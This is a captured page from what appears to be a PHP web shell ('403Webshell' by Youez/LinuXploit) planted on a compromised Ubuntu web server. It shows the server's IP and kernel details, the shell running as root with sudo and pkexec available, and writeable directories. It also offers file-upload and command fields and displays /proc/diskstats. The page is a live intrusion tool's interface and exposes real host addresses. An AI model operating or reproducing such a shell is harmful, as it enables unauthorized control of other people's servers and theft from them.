403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.199
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/diskstats
   7       0 loop0 1385664 0 2786360 507956 0 0 0 0 0 16916 344648
   7       1 loop1 1216997 0 2449854 608684 0 0 0 0 0 18188 496344
   7       2 loop2 952143 0 1918542 278996 0 0 0 0 0 9244 226300
   7       3 loop3 4710963 0 9441608 2314484 0 0 0 0 0 63524 2051320
   7       4 loop4 6648753 0 13311040 2826488 0 0 0 0 0 78504 2500424
   7       5 loop5 1891534 0 3796502 823788 0 0 0 0 0 25444 667484
   7       6 loop6 475413 0 962222 133572 0 0 0 0 0 4208 107532
   7       7 loop7 1223542 0 2457002 543296 0 0 0 0 0 15820 401432
 252       0 vda 330711177 1210883 19300696694 83733416 1881605746 971139338 61127601467 1832531476 0 149434892 1330222676
 252       1 vda1 330699532 1210883 19300251547 83731376 1683418697 971138943 61127570514 1802872032 0 148964820 1329894844
 252      14 vda14 2216 0 86216 388 0 0 0 0 0 0 0
 252      15 vda15 4490 0 158243 756 643 395 30953 1444 0 80 1436
 252      16 vdb 465 0 3332 20 0 0 0 0 0 0 0
   7       8 loop8 1927280 0 3859050 644468 0 0 0 0 0 18128 562312
   7       9 loop9 22 0 86 12 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit